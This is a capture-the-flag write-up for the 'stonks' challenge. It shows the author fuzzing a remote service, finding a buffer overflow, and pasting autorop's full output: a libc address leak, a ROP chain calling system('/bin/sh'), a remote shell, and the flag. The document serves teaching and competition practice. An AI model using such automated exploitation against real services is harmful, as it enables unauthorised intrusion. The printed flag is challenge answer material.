# stonks (231 solves, 391 points)
## Descriptioncheck out my cool stock predictor!
`nc stonks.hsc.tf 1337`
## SolutionDisclosure: There is no technical "pwning" done in this solution since we're bad at pwn
Once we connect, we can do some initial fuzzing with different characters and lengths, and we find that we can crash it with a simple buffer overflow (which explains the large # of solves as well). Now, we could go into gdb and write an exploit manually, but since I'm a script kiddie I decided to use [autorop](https://github.com/mariuszskon/autorop) which is a great tool for simple pwns like this. Following the syntax, we are brought to an interactive shell as shown below. 
```pranav@pranav-VirtualBox:~/Desktop/autorop$ autorop chal stonks.hsc.tf 1337[*] '/home/pranav/Desktop/autorop/chal'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)[+] Opening connection to stonks.hsc.tf on port 1337: Done[*] Produced pipeline: pipeline_instance(<function corefile at 0x7f44081168b0>, <function puts at 0x7f4408116b80>, <function auto at 0x7f4408116dc0>, <function system_binsh at 0x7f4408116a60>)[*] Pipeline [1/4]: corefile[!] Could not find executable 'chal' in $PATH, using './chal' instead[+] Starting local process './chal': pid 3380[*] Process './chal' stopped with exit code -11 (SIGSEGV) (pid 3380)[+] Receiving all data: Done (57B)[!] Error parsing corefile stack: Found bad environment at 0x7ffda6504fdd[+] Parsing corefile...: Done[*] '/home/pranav/Desktop/autorop/core.3380'    Arch:      amd64-64-little    RIP:       0x4012c2    RSP:       0x7ffda6503838    Exe:       '/home/pranav/Desktop/autorop/chal' (0x400000)    Fault:     0x6161616161616166[*] Fault address @ 0x6161616161616166[*] Offset to return address is 40[*] Pipeline [2/4]: puts[+] Opening connection to stonks.hsc.tf on port 1337: Done[*] Loaded 14 cached gadgets for 'chal'[*] 0x0000:         0x40101a ret    0x0008:         0x401363 pop rdi; ret    0x0010:         0x403ff0 [arg0] rdi = __libc_start_main    0x0018:         0x401094 puts    0x0020:         0x40101a ret    0x0028:         0x401363 pop rdi; ret    0x0030:         0x404018 [arg0] rdi = got.puts    0x0038:         0x401094 puts    0x0040:         0x40101a ret    0x0048:         0x4012c3 main()[*] leaked __libc_start_main @ 0x7f87508b1fc0[*] leaked puts @ 0x7f87509125a0[*] Pipeline [3/4]: auto[*] Searching for libc based on leaks using libc.rip[!] 6 matching libc's found, picking first one[*] Downloading libc[*] '/home/pranav/Desktop/autorop/.autorop.libc'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[*] Pipeline [4/4]: system_binsh[*] Loaded 201 cached gadgets for '.autorop.libc'[*] 0x0000:         0x40101a ret    0x0008:         0x401363 pop rdi; ret    0x0010:   0x7f8750a425aa [arg0] rdi = 140219150247338    0x0018:         0x4010a4 system    0x0020:         0x40101a ret    0x0028:         0x4012c3 main()[*] Switching to interactive modePlease enter the stock ticker symbol: aaaaaaaabaaaaaaacaaaaaaadaaa\x06will increase by $6 today!$ lsbinbootdevetcflaghomeliblib32lib64libx32mediamntoptprocrootrunsbinsrvsystmpusrvar$ cat flagflag{to_the_moon}```As shown above, once we get to the interactive shell, all we have to do is `ls` and  `cat flag`, allowing us to solve this challenge in under a minute. Clearly, sometimes being a script kiddie does pay off.
## Flag`flag{to_the_moon}`
